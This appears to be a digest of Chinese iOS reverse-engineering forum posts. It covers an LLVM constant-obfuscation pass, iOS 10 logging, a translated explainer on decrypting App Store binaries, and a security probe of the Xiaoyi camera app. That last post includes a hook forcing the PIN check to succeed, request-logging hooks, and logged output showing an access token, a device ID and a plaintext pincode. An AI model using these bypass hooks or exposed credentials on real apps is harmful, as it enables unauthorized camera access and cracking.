; <label>:15:                                     ; preds = %6
  %16 = load i32, i32* @flag, align 4
  %17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.1, i32 0, i32 0), i32 %16)
  ret i32 0
}

declare i32 @printf(i8*, ...) #1

declare i32 @"\01_sleep"(i32) #1

attributes #0 = { noinline optnone ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0, !1, !2, !3, !4, !5, !6}
!llvm.ident = !{!7}

!0 = !{i32 1, !"Objective-C Version", i32 2}
!1 = !{i32 1, !"Objective-C Image Info Version", i32 0}
!2 = !{i32 1, !"Objective-C Image Info Section", !"__DATA,__objc_imageinfo,regular,no_dead_strip"}
!3 = !{i32 4, !"Objective-C Garbage Collection", i32 0}
!4 = !{i32 1, !"Objective-C Class Properties", i32 64}
!5 = !{i32 1, !"wchar_size", i32 4}
!6 = !{i32 7, !"PIC Level", i32 2}
!7 = !{!"clang version 6.0.0 (trunk 318965) (llvm/trunk 318964)"}

可以看到IR中包含数个LoadInst和StoreInst用于加载和保存新的flag值,我们的设计思路是在加载后XOR解密出正确的数值,在写入前XOR来写入加密的数值

首先我们创建一个基础的Pass骨架:

/*
    LLVM ConstantEncryption Pass
    Copyright (C) 2017 Zhang(http://mayuyu.io)

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU Affero General Public License as published
    by the Free Software Foundation, either version 3 of the License, or
    any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Affero General Public License for more details.

    You should have received a copy of the GNU Affero General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
#include "llvm/IR/Constants.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/InstIterator.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Value.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好
#include <cstdlib>
#include <fstream>
#include <iostream>
#include <string>
using namespace llvm;
using namespace std;
namespace llvm {
    struct ConstantEncryption : public ModulePass {
        static char ID;
        bool flag;
        ConstantEncryption(bool flag): ModulePass(ID) {
            this->flag=flag;
        }
        ConstantEncryption(): ModulePass(ID) {
            this->flag=true;
        }
        bool runOnModule(Module& M)override {
            return true;
        }
    };
    ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); }
    ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); }
}//namespace llvm
char ConstantEncryption::ID = 0;
INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true,
                true)

注意Pass里的Flag都是用于和我的开源混淆器Hikari对接所设计的接口,您如果自己玩耍并不需要这些。

然后第一步在runOnModule中遍历全局变量列表:

for(auto GV=M.global_begin();GV!=M.global_end();GV++){
              GlobalVariable *GVPtr=&*GV;
}

在这个基本的循环中我们找到了所有的全局变量,对应上述IR中的:

@flag = internal global i32 0, align 4
@.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1
@.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1

接下来我们需要过滤哪些变量可以加密,哪些不能,由于我们是在编译单个源文件的过程中进行加密,所以我们必须过滤掉可以被其他源文件引用的变量,或者是声明在其他源文件中的变量。 后者通过判断全局变量是否有对应的初始化器(Initializer)来实现,前者通过判断全局变量的链接属性(LinkageType)来实现。
阅读上面的文档:

private
Global values with “private” linkage are only directly accessible by objects in the current module. In particular, linking code into a module with a private global value may cause the private to be renamed as necessary to avoid collisions. Because the symbol is private to the module, all references can be updated. This doesn’t show up in any symbol table in the object file.

这里告诉我们Private(私有)的LinkageType只能被当前源文件引用,这正符合我们上面所分析出的要求。
下面的:

internal
Similar to private, but the value shows as a local symbol (STB_LOCAL in the case of ELF) in the object file. This corresponds to the notion of the ‘static’ keyword in C.

告诉我们internal(内部)和私有非常相似,对应C语言中的static关键字,同样符合我们的要求。所以我们可以通过以下这行代码来过滤出我们需要的全局变量:

if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){

}

最后,我们需要确定全局变量的类型是一个整数,我们上文提到了初始化器(Initializer)的概念,阅读GlobalVariable的文档 可知我们可以通过GlobalVariable::getInitializer() 来获取对应的初始化器,通过阅读LLVM Programmers’ Manual 可以了解到LLVM提供三个模版方法来实现运行时类型识别转换,类似C++的RTTI和reinterpret_cast,但性能更快并且强制类型安全。
增加如下代码来判断初始化器的类型:

if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){

}

常用的为三个模版方法:

  • isa<类>(变量指针) 返回布尔类型,用于做运行时类型审查
  • cast<类>(变量指针)用于将基类转换成派生类,如果不是正确的类型的话会触发一个assert。这个模版方法可以作用于指针和引用上
  • dyn_cast<类>(变量指针) 一个包含了类型检查的类型转换模版方法。如果是正确的类型的话返回新类型的指针,否则返回null。这个模版方法只对指针生效,使用上非常类似C++的dynamic_cast<>

接下来准备Key, LLVM要求类型安全并且并不会像编译器前端一样隐式添加零延伸,因此我们需要根据原来的整数宽度来准备XOR密钥:

IntegerType* IT=cast<IntegerType>(CI->getType());
uint8_t K=cryptoutils->get_uint8_t();
ConstantInt *XORKey=ConstantInt::get(IT,K);

注意这里的cryptoutils->get_uint8_t(); 是Obfuscator-LLVM提供的密码学安全的随机数生成器,您也可以使用其他方式来生成随机的XOR Key。
接下来有了XOR Key,我们先加密原来的全局变量。可以通过ConstantInt::getZExtValue()来获取原来的常量数值ZExt到uint64_t后的数值:

ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K); // 计算加密后的值并创建新的初始化器
GVPtr->setInitializer(newGVInit); // 将初始化器的值赋值给全局变量

接下来我们通过遍历这个全局变量的声明-使用链来找到所有引用了这个变量的指令并对LoadInst和StoreInst做正确的处理

  • 声明-使用链 即Def-Use Chain,给定一个变量,找到所有引用处
  • 使用-声明链 即Use-Def Chain,给定一个引用,找到所有可能的变量。
  for(User *U : GVPtr->users()){
     if(LoadInst *LI=dyn_cast<LoadInst>(U)){
                   Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey);
                      XORInst->insertAfter(LI);
                      LI->replaceAllUsesWith(XORInst);
                      XORInst->setOperand(0,LI);

                    }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){
                      Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey);
                      XORInst->insertBefore(SI);
                      SI->replaceUsesOfWith(SI->getValueOperand(),XORInst);
                    }
}

在LoadInst的处理块中,我们先创建了一个没有任何卵用的XOR指令占位并插入到原来的Load指令之后,将后续对原始LoadInst的指令替换到我们的占位指令中。因为直接使用正确的左值LI来创建会导致后续的replaceAllUsesWith将我们的XOR指令的左值引用也替换成对自身的引用。最后将我们的占位XOR指令左值指向正确的LoadInst

在对StoreInst的处理块中,我们同样创建了一个新的XOR指令,左值为原来的StoreInst所要保存的数值,右值为一开始我们创建的XOR Key,将这个指令插入到Store指令之前,并将原来的Store指令对未加密数值的引用替换成我们加密之后的结果。

然后就完工啦,完整代码如下。注意有一些小细节我们的示例用代码没有处理,处理这些情况就留做给读者的练习了:

/*
    LLVM ConstantEncryption Pass
    Copyright (C) 2017 Zhang(http://mayuyu.io)

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU Affero General Public License as published
    by the Free Software Foundation, either version 3 of the License, or
    any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Affero General Public License for more details.

    You should have received a copy of the GNU Affero General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
#include "llvm/IR/Constants.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/InstIterator.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Value.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好
#include <cstdlib>
#include <fstream>
#include <iostream>
#include <string>
using namespace llvm;
using namespace std;
namespace llvm {
    struct ConstantEncryption : public ModulePass {
        static char ID;
        bool flag;
        ConstantEncryption(bool flag): ModulePass(ID) {
            this->flag=flag;
        }
        ConstantEncryption(): ModulePass(ID) {
            this->flag=true;
        }
        bool runOnModule(Module& M)override {
            for(auto GV=M.global_begin();GV!=M.global_end();GV++){
              GlobalVariable *GVPtr=&*GV;
              //Filter out GVs that could potentially be referenced outside of current TU
              if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){
                if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){
                  //Prepare Types and Keys
                  IntegerType* IT=cast<IntegerType>(CI->getType());
                  uint8_t K=cryptoutils->get_uint8_t();
                  ConstantInt *XORKey=ConstantInt::get(IT,K);
                  //Encrypt Original GV
                  ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K);
                  GVPtr->setInitializer(newGVInit);
                  for(User *U : GVPtr->users()){
                    if(LoadInst *LI=dyn_cast<LoadInst>(U)){
                      // This is dummy Instruction so we can use replaceAllUsesWith
                      // without having to hand-craft our own implementation
                      // We will relace LHS later
                      Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey);
                      XORInst->insertAfter(LI);
                      LI->replaceAllUsesWith(XORInst);
                      XORInst->setOperand(0,LI);

                    }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){
                      Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey);
                      XORInst->insertBefore(SI);
                      SI->replaceUsesOfWith(SI->getValueOperand(),XORInst);
                    }
                  }
                }
              }
            }
            return true;
        }
    };
    ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); }
    ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); }
}//namespace llvm
char ConstantEncryption::ID = 0;
INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true,
                true)

使用我们刚刚写的Pass加固开头的程序后的F5

Posts: 2

Participants: 2

Read full topic

Ios10 NSLog无效?

$
0
0

@Rozbo wrote:

本文原载于我的ios10 NSLog无效?,其他未授权转载请联系楼主。

去年起,我接触到ios10的越狱开发,但发现ios10的NSLog是失效了(曾一度以为是Tweak失效了,各种蛋疼的测试,发现原来是NSLog的原因)。
既然发现了这个问题,那就必须试图解决,以下是我解决的过程,发出来给大家警个醒,以免大家重复踩坑。
其实这个问题的原因是因为在ios10,苹果更改了日志系统,添加了几个os_函数,其中就有os_log,具体可以在看这个链接

尝试历史

syslogd to /var/log/syslog

之前旧的版本一直是使用这个,其实这个小插件很简单,仅仅是在/etc/syslog.conf里面加了一句

*.* /var/log/syslog

来把所有的日志导出到/var/log/syslog这个文件里。
结果,ios10下无效。

idevicesyslog

这个工具是我一直使用的,在mac上通过数据线链接手机后,能在mac的控制台输出ios的日志,它的优点是能够输出颜色,非常的实用的一个小工具,与它一起的套件都非常的好用,共有

name
idevice_id
idevicecrashreport
idevicedebugserverproxy
ideviceimagemounter
idevicename
ideviceprovision
idevicebackup
idevicedate
idevicediagnostics
ideviceinfo
idevicenotificationproxy
idevicescreenshot
idevicebackup2
idevicedebug
ideviceenterrecovery
ideviceinstaller
idevicepair
idevicesyslog

各个功能看名字就知道了,这里不再细表,可以通过

brew install libimobiledevice

来安装。

结果实测,idevicesyslog在ios下,不能够输出的Tweak的NSLog

socat

这个工具用来干这个事。。。也大才小用了吧。这个工具功能非常强大,这里不再专门讲解了。

deviceconsole

一番尝试之下,发现这个问题没有那么简单,于是百度了一下,结果出来个更坑爹的货,让用deviceconsole,还指出了github repo,结果我clone下来,一番编译,提示

ld: framework not found MobileDevice
clang: error: linker command failed with exit code 1 (use -v to see invocation)

这个报错意为找不到MobileDevice这个库,但是我去看过了以后,它明明在哪。。。搞的我也是一脸懵逼。后来猜想这个原因可能是因为这个库是私有库,而xcode9可能不让链接私有库了。。
于是我建了一个软连接,才重新编译通过。
编译通过之后,发现没有这个执行权限,然后一番捣鼓,结果发现!!!!根!本!没!卵!用!!!
关于这个项目的更多信息,请移步我clone的repo,我修改后pull request,结果十多天了没人理我。。

ondeviceconsole

最后,再次抱着试试看的态度,准备试试ondeviceconsole,如果还是不行的话,就只能呵呵,重写NSLog到os_log了。但所幸,这个是可用的。。。

Posts: 6

Participants: 6

Read full topic

[翻译]AppStore App二进制砸壳流程揭秘

$
0
0

@Zhang wrote:

原文地址 https://ubrigens.com/posts/demystifying_app_cracking.html
感觉很多新入逆向坑的同学缺乏一些底层的知识,随手翻到这玩意儿正好翻译一哈。晚点应该我再会写一篇手把手教新手如何自己写代码解密的文章。

iOS的app是作为后缀为.ipa的包裹进行分发的. 这些包裹只不过是修改了后缀名的zip压缩包, 并且可以轻易的被合适的工具解包. 解压出的文件目录结构对我们来说用处不大并且已经在其他地方得到了很详细的解释 详见附录[1,2]

对于一个破解者来说这其中最有价值的文件就是可执行文件, 可执行文件的路径可以通过查看Info.plist获得, 更准确地说,是键值CFBundleExecutable下的文本. 今天,绝大多数这些可执行文件都包含多个架构的代码,这种可执行文件被称之为胖二进制(Fat Binary),得名于它们包含诸如ARMv7, ARMv7s以及ARM64 (又被称之为ARMv8)等多个架构的代码。 Mac上使用同样的概念,区别是包含的架构一般是X86和X86_64

在运行时,动态链接器 (几乎永远是 dyld)[译者注:一个特定的LoadCommand可以指定动态链接器的路径,但这并不在本文的范围内] 会检查二进制并找出最适合运行的架构(译注:下文每个架构又被称之为一片,Slice), 处理所有的加载指令并最终开始执行可执行文件. 更多关于可执行文件格式 - MachO - 以及不同类型加载指令的信息可以在Apple官网上找到,参见附录3 [3]. 以下是这个过程对于iPhone5图形化之后的结果:

blackbox_decryption
大体上,OS内核可以被当作是一个自动解密可执行文件在当前硬件上运行效果最好的部分的黑箱。在这个例子中我们使用posix_spawn来运行可执行文件,但实际上任何其他的类似的函数都可以. 为了简化这张图表,启动后内存中只有解密的部分这一事实被忽略了。

在iOS上所有的第三方程序都必须由一个合法的Developer ID签名.代码签名也是通过一个加载指令来指出的,就在MachO头部(译注:此处指单个架构的MachO而非一开始提到的Fat Binary)之后。所以每个架构都有自己的代码签名,而不是整个胖二进制共享一个代码签名。 代码签名是由内核进行验证的,并且没有合法代码签名的进程将会收到一个来自内核的信号量使得他们完全无法被运。.在非越狱设备上,二进制(译注:指代码签名)的完整性是由内核负责确保的,而在越狱设备上一个app的大多数内容都是被允许改变的,因为至关重要的安全机制已经被越狱关闭了。 即便如此,可执行文件仍然需要一个代码签名才能正常运行,由一个名为ldid的工具生成的假签名就足够了

常见的解密工具,例如Clutch [4] ,使用一种并不优美的方式来解密尽可能多的架构。假设一个App包含上面提到的所有三个架构,Clutch就会给二进制的头部打三次补丁来分别强制让操作系统运行这三片各一次。 所以很显然只有当设备的硬件支持这种架构时这一方法才有效,这也意味着一台iPhone 6可以被用来给上面提到的所有三种架构解密,而iPhone 4S只能解密ARMv7部分。

下图是这一过程图形化的表示,再一次的,示例用的设备是iPhone 5.
clutch

在这个例子中,目标二进制包含全部三种架构,因为我们使用的iPhone5有一颗ARMv7s兼容的CPU,正常的情况下只有对应的ARMV7S片会被执行。Clutch 滥用了ARM处理器大体上都向前兼容这一事实,也就是说能运行ARMv7S的设备也能运行ARMV7. 总的来说,Clutch运行了这个App两次,即每个硬件支持的架构一次. 为了强制操作系统运行对应的片,Clutch将其他片的标记都修改成了Intel处理器。

每一片的解密过程的第一步都是用posix_spawn来创建一个新的维持在暂停状态的进程。这是通过给posix_spawn传递Apple独有的标记POSIX_SPAWN_START_SUSPENDED来实现的. 来自App的任何代码都不会被执行, 但是我们所要解密的app的代码已经自动的被操作系统解密完成。接下来,在通过使用task_for_pid获取新的进程的mach_port(译者注:原作者手癌了应该,这里应该是mach_task,在Mach的结构下获取了一个进程的mach_task就相当于获取了这个进程的所有权限,可以任意读写目标进程的内存,task_for_pid需要有get-task-allow等一系列特别的Entitlements), 并将目标进程的内存复制到磁盘,最后Patch可执行文件的一些地方(比如说LC_ENCRYPTION_COMMAND这个加载指令中标记二进制是否被加密的标记位需要被更新) 后就开始处理下一片。如果你对细节感兴趣,可以阅读Clutch源码 [附录4].

最后,所有解密的片被合并在一起。 因为iPhone 5不支持ARM64,所以输出的加密二进制只包含两篇。即使这样,由于ARM64向前兼容的原因,解密的二进制依旧可以正常在iPhone 6上运行 - 虽然可能会稍微慢一点点。

下面这几行跟主题关系不大我懒得翻了
App Thinning results in binaries that only contain one architecture, forcing crackers to use multiple devices to crack each individual slice and then manually combine them to create a version that runs on as many devices as possible. Bitcode on the other hand could allow Apple to create personalized versions of apps, allowing them to trace accounts that distribute cracked versions of an app (fittingly called traitor tracing in the literature). If used, both technologies will hopefully reduce the impact of application cracking on the revenue of iOS developers.

Changelog:

June 17: Fixed date, changed title to better reflect the contents of this article.
September 10: Added disclaimer, added section on impact of App Thinning and Bitcode in iOS 9

Posts: 8

Participants: 5

Read full topic

小蚁摄像机App加密探究

$
0
0

@iblue wrote:

转自简书 https://www.jianshu.com/writer#/notebooks/4365539/notes/25491943

概述

本次分析,选取了小蚁摄像机App的iOS版本,主要目标是从数据缓存及数据传输方面探索App数据方面的安全性。

iOS系统中,本地缓存通常以数据库、plist、序列化文件、UserDefault、KeyChain等为媒介。其中UserDefault、KeyChain都采用iOS自带的加密方式,在不明确键值及密钥的情况下,基本上无法破解。

数据传输方面,在https普及后,App基本上都是采用这种方式进行的。虽然抓包已经失效,但并不代表不可以从App中获取发送的请求及响应,依然可以通过对关键请求进行hook,打印参数的方法来得到接口信息。

本次逆向使用非越狱手机进行,采用最暴力、最直接的方法 —— 打印日志。思路是先将libReveal.dylib、libCommonCrack.dylib等动态库注入App,通过classdump、Hopper得到关键函数,再对关键函数进行hook,打印信息,获取接口,暴力破解。

1 环境要求

iPhone手机,系统不做要求,越狱不做要求

Xcode及iOSOpenDev套件

yololib动态注入工具

Hopper Disassembler v4 反编译工具

Reveal 界面分析工具

小蚁摄像机iOS版本(2.19.3)

2 安装包破解

破解版本安装包获取的途径非常多,常用的方法是直接使用越狱的手机,借助dumpcrypted/Clutch等工具,获取砸壳后的二进制文件。

由于本次分析是基于非越狱的手机,这里通过PP助手官网下载越狱的安装包。

2.1 分析网页源码

搜索找到“小蚁摄像机”的应用链接 https://www.25pp.com/ios/detail_1598325/

打开网页检查器,定位到“下载越狱版本”的标签上,得到app的下载地址appdownurl和点击响应事件ppOneKeySetup

appdownurl=“aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh”

onclick=“return ppOneKeySetup(this)”

根据ppOneKeySetup及appdownUrl,在 ***pp_onekey-d17d98b4.js***定位到相关代码:

(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))

简单分析代码,脚本只是将appdownUrl进行了base64的解码,并没有其他特殊操作。对appdownUrl进行base64Decode后,得到ipa下载地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa

下载ipa并解压缩后,使用otool进行验证,可以看到armv7及arm64的crypt字段都为0,说明下载的安装包二进制文件已经被砸壳了。

jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0
YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64]
YiHome2.0 (for architecture armv7):	Mach-O executable arm_v7
YiHome2.0 (for architecture arm64):	Mach-O 64-bit executable arm64
jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt
     cryptoff 16384
    cryptsize 16547840
      cryptid 0
     cryptoff 16384
    cryptsize 18874368
      cryptid 0

2.2 重签名

为了查看App沙盒中的文件,需要使用开发证书对app进行重新签名。重签名脚本见附录重签名脚本

使用一段时间后,打开沙盒目录,缓存数据初见端倪,接下来对相关文件行分析:
2.png

3 本地缓存分析

对沙盒Documents目录,进行简单分析:

  • 4502360:可能是类似与userId的字段
  • account.plist:记录了一些参数,只有value,没有key值
  • devices:里面文件夹以deviceId为名称,区分不同的设备,每个子文件夹内有两张封面图 placeholder.png、placeholder_blur.png,分别对应摄像头设置密码前后的封面图; placeholder_blur.png只是将封面图作了高斯模糊处理
  • log:自带的打印日志,信息很少,除了deviceId外,没有其他可用信息
  • yydb.sqlite3:缓存了报警信息、登录信息等内容,密码相关的信息都是加密过的

3.1 yydb.sqlit3

发现一个有意思的现象,对于alarm信息,数据库中存在两份数据表,alarm_mialarm_yi。联想到之前设备添加的提示信息,可以断定,小蚁从小米独立出来以后,引入了自己的账号系统,但是为了兼容1代的摄像头,又不得不使用小米账号进行第三方登录。估计这一部分的账号会逐步进行淘汰,App考虑到后期的维护性,直接重新建了一份新的表格alarm_yi,以减少数据的冲突和维护。下面对表alarm_mi进行分析:

  • deviceId:yunyi.TNPCHNA-695008-FUKEN
  • id:数据库自增长的id,与消息id无关
  • time:消息触发时间,结合表 alarm_list_read_2 ,App中将此键值作为消息的索引,也就是说从平台拉取的消息是不带messageId的,App需要通过此值来进行查找、删除、标记等操作
  • videoUrl: 报警消息对应的预览视频地址,每个视频只有6s,如果要查看完整的视频,需要在视频播放结束后,主动跳转到完整视频界面去查看。使用Signature、Expires、GalaxyAccessKeyId等参数检验,在Expires时间内,可以直接下载,但由于不是标准格式的mp4格式文件,无法直接播放
    https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
    GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
  • videoImageUrl: 报警消息封面图,与videoUrl类似
  • video_pwd:每行对应的密码均不一样,即相同的视频密码,不同的录像段对应的缓存密码是不同的,_SJgn2EMj6pWl2WH3x3qSA,猜测应该是经过了多种对称加密
  • pic_pwd:与video_pwd相似

从表内容来看,数据库对密码字段进行了较为复杂的加密,无法通过反解析来得到视频的原始密码。另外Expires时间设置得比较短,只有30分钟,超过30min后,下载链接失效,从而保证了一定的安全性。

3.2 log文件

App自带的日志信息,位于log/y_log.txt。从打开App开始,输入摄像机密码,再到拉流成功,导出日志文件。

除了前面分析过的deviceId外,没有其他多余的信息

...
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3003

2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3019

2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN
....

3.3 本地缓存总结

从数据库、日志文件分析,都没有敏感的数据信息暴露,本地数据的缓存在正常途径下还是很安全的。

另外,数据库、缓存文件中,或许为了设备安全,并没有设备参数相关的数据,猜测应该是根本没有缓存。验证的方法也很简单:关闭设备密码,返回到主页,打开手机飞行模式,再次进入设备设置,发现提示设备连接失败,只展示了摄像机名称这一栏。

从目前来看,想要实现破解密码的目标似乎很难行通,但事实或许并不是如此,接下来,我们从代码层面对App进一步分析。

4 动态注入及源码分析

AppStore版本的程序,禁止使用非系统的动态库,主要是为了安全和性能的考虑。但不意味着App不可以使用动态库,只要将动态库加入到程序的bundle中,并使用相同的证书对动态库、app进行签名,就可以正常使用。

4.1 注入libCommonCrack.dylib

使用iOSOpenDev新建动态库工程,生成libCommonCrack.dylib,该动态库作用如下:

(1)导入公共log模块代码,重定向NSLog、print等输出到沙盒文件中

(2)对关键代码进行Hook

(3)启动libReveal.dylib

生成dylib后,使用yololib将其注入到二进制文件YiHome2.0中:

APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"

#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

4.2 启动Reveal

参考Reveal的帮助文档,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函数,加入启动libReveal.dylib的代码

CHDeclareMethod(0, void, AppDelegate, loadReveal)
{
    if (NSClassFromString(@"IBARevealLoader") == nil)
    {
        NSString *revealLibName = @"libReveal";
        NSString *revealLibExtension = @"dylib";
        NSString *error;
        NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension];
        
        NSLog(@"Loading dynamic library: %@", dyLibPath);
        dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
    }
}

注入libCommonCrack.dylib,并重新签名,安装、启动App,再次打开沙盒目录。生成了AppLog目录,打开日志文件,Reveal正常启动:

018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib
2018-03-20 08:53:45.735 YiHome2.0[583:97603]  INFO: Reveal Server started (Protocol Version 25).

从App上进入密码校验界面,Mac上同步更新Reveal展示,得到相关信息,即密码输入框所在的父视图 JJPincodeViewController

4.png

至此,第一个线索浮出水面。通过操作可以得知,进入设置、视频界面前,需要输入密码进行检验。如果直接跳过这个检验的步骤,是不是就可以直接观看视频、设置设备呢?接下来重点对JJPincodeViewController进行代码分析。

5 源码Hook

使用class-dump对二进制文件进行头文件导出,初步分析JJPincodeViewController.h,找到两个关键函数:

- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3;
- (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;

再使用Hopper查看JJPincodeViewController的代码,梳理函数调用关系,大致得出如下的调用过程:

将返回的结果处理函数___pincodeIsSuccessWithRequest,直接return true,一试究竟。

5.1 JJPincodeViewController+Hook

libCrackCommon工程中,加入JJPincodeViewController+Hook.m,对___pincodeIsSuccessWithRequest函数进行返回值重写

CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 )
{
    NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4);
    
    if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) {
        APPResponse *response = (APPResponse *)arg2;
        NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse);
    }
    
    return YES;
}

完成打包后,直接输入一个错误的密码,确实不再有密码错误的提示,直接进入了视频播放界面。

开始拉流,但是提示连接失败;进入设置界面,加载过后,也是失败。

可以肯定,App采用了双重的加密机制,虽然可以绕过前面的密码验证步骤,但后面的请求应该也使用了密码进行检验。

至此,绕过密码验证的路也被堵死,接下来直接从接口进行分析。请求是通过YYHttpClient发送的,响应通过block返回,将YYHttpClient的发送和响应都写到日志中,看看能否得到有用信息。

5.2 YYHttpClient+Hook

这里,直接hook住post的请求,打印请求体及响应。

//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2;
CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 )
{
    id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result);
    
    return result;
}

再次打开日志,请求参数及结果一目了然:

==============================================
url    -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
action -> https://openapp.io.mi.com/openapp/pincode/check
